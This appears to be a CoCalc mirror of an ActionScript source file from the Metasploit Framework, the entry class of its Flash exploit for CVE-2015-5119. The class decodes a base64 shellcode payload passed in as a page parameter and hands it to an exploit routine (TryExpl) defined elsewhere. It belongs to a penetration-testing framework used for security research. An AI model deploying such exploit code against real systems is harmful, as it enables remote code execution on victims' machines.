CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-5119/Exploit.as
Views: 11778
// Build with Flex SDK 4.6 + AIR 3.1
package 
{
	import flash.display.Sprite
	import flash.events.Event
	import mx.utils.Base64Decoder
	import flash.display.LoaderInfo
	import flash.utils.ByteArray
	
	public class Exploit extends Sprite 
	{
        private var b64:Base64Decoder = new Base64Decoder()
        private var payload:ByteArray
        private var platform:String

        public function Exploit():void 
        {
            //trace("Got to checkpoint 0");
            if (stage) init();
            else addEventListener(Event.ADDED_TO_STAGE, init);
        }
		
		private function init(e:Event = null):void 
		{
			platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()

			removeEventListener(Event.ADDED_TO_STAGE, init);
			Logger.log('TryExpl...')
			MyClass.TryExpl(this, platform, payload)
		}
	}
}